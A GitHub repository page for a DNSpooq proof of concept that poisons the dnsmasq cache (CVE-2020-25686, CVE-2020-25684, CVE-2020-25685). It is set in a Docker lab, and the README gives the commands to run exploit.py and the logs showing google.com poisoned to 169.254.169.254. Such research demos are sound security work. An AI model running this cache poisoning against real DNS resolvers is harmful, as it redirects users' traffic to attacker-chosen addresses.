Skip to content
main
Switch branches/tags
Go to file
Code

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
Jan 24, 2021
Jan 23, 2021
Jan 23, 2021
Jan 24, 2021
Jan 23, 2021
Jan 23, 2021
Jan 24, 2021

README.md

dnspooq

DNSpooq PoC - dnsmasq cache poisoning (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)

For educational purposes only

Requirements

  • Docker compose
  • Docker

Exploit

dnspooq

Launch containers

$ docker-compose up -d

Run exploit.py

$ docker-compose exec attacker bash
bash-5.0# python exploit.py
Querying non-cached names...
Generating spoofed packets...
Poisoned: b'google.com.' => 169.254.169.254
sent 3032017 responses in 50.309 seconds

View output from forwarder container

$ docker-compose logs -f forwarder
...
forwarder_1  | dnsmasq[1]: query[A] example.com from 10.10.0.3
forwarder_1  | dnsmasq[1]: forwarded example.com to 10.10.0.4
forwarder_1  | dnsmasq[1]: cached example.com is <CNAME>
forwarder_1  | dnsmasq[1]: cached google.com is 169.254.169.254

View output from cache container

$ docker-compose logs -f cache
Attaching to dnspooq_cache_1
cache_1      | Sniffing...
cache_1      | Source port: 46816, TXID: 16476, Query: b'example.com.'
cache_1      | Source port: 16718, TXID: 54280, Query: b'example.com.'
...
cache_1      | Source port: 46816, TXID: 56240, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 24160, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 18189, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 40361, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 13100, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 47303, Query: b'example.com.'

Reference

Author

Teppei Fukuda

About

DNSpooq - dnsmasq cache poisoning (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)

Resources

License

Releases

No releases published

Packages

No packages published